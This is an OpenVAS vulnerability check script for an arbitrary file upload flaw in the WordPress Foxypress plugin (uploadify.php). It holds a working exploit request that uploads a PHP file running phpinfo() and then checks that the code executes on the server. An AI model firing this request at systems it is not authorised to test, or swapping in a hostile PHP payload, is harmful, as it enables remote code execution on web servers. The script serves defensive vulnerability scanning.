WordPress Foxypress Plugin 'uploadify.php' Arbitrary File Upload Vulnerability

2012-06-11T00:00:00
ID OPENVAS:1361412562310802638
Type openvas
Reporter This script is Copyright (C) 2012 Greenbone Networks GmbH
Modified 2019-11-12T00:00:00

Description

This host is running WordPress Foxypress Plugin and is prone to file upload vulnerability.

                                        
                                            ##############################################################################
# OpenVAS Vulnerability Test
#
# WordPress Foxypress Plugin 'uploadify.php' Arbitrary File Upload Vulnerability
#
# Authors:
# Sooraj KS <kssooraj@secpod.com>
#
# Copyright:
# Copyright (c) 2012 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.802638");
  script_version("2019-11-12T13:33:43+0000");
  script_bugtraq_id(53805);
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"2019-11-12 13:33:43 +0000 (Tue, 12 Nov 2019)");
  script_tag(name:"creation_date", value:"2012-06-11 12:12:12 +0530 (Mon, 11 Jun 2012)");
  script_name("WordPress Foxypress Plugin 'uploadify.php' Arbitrary File Upload Vulnerability");
  script_xref(name:"URL", value:"http://secunia.com/advisories/49382");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/53805");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/18991");
  script_xref(name:"URL", value:"http://wordpress.org/extend/plugins/foxypress/changelog/");
  script_xref(name:"URL", value:"http://packetstormsecurity.org/files/113283/wpfoxypress-shell.txt");

  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_copyright("This script is Copyright (C) 2012 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("secpod_wordpress_detect_900182.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("wordpress/installed");

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to upload arbitrary PHP code
  and run it in the context of the Web server process.");
  script_tag(name:"affected", value:"WordPress Foxypress Plugin version 0.4.2.1");
  script_tag(name:"insight", value:"The flaw is due to the wp-content/plugins/foxypress/uploadify/
  uploadify.php script allowing to upload files with arbitrary extensions to
  a folder inside the webroot. This can be exploited to execute arbitrary PHP
  code by uploading a malicious PHP script.");
  script_tag(name:"solution", value:"Update to WordPress Foxypress Plugin version 0.4.2.2 or later.");
  script_tag(name:"summary", value:"This host is running WordPress Foxypress Plugin and is prone to
  file upload vulnerability.");

  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("version_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE))exit(0);
if(!dir = get_app_location(cpe:CPE, port:port))exit(0);

host = http_host_name(port:port);

file = "ov-file-upload-test.php";
rand = rand();
ex = "<?php echo " + rand + "; phpinfo(); die; ?>";
len = strlen(ex) + 220;
url = string(dir, "/wp-content/plugins/foxypress/uploadify/uploadify.php");
req = string(
      "POST ", url, " HTTP/1.1\r\n",
      "Host: ", host, "\r\n",
      "Content-Type: multipart/form-data; boundary=---------------------------5626d00351af\r\n",
      "Content-Length: ", len, "\r\n\r\n",
      "-----------------------------5626d00351af\r\n",
      'Content-Disposition: form-data; name="Filedata"; filename="',file,'";',"\r\n",
      "Content-Type: application/octet-stream\r\n",
      "\r\n",
      ex,"\r\n",
      "-----------------------------5626d00351af--\r\n\r\n");
res = http_keepalive_send_recv(port: port, data: req);

if(res && res =~ "HTTP/1.. 200")
{
  path = eregmatch(pattern: 'file_path":".*(/wp-content[^"]+)', string: res);
  if(! path[1]) {
    exit(0);
  }

  path = ereg_replace(pattern: "\\", string: path[1], replace: "");
  if(! path) {
    exit(0);
  }

  url = string(dir, path);

  if(http_vuln_check(port:port, url:url, check_header:TRUE,
     pattern:"<title>phpinfo\(\)", extra_check:rand))
  {
    security_message(port:port);
    exit(0);
  }
}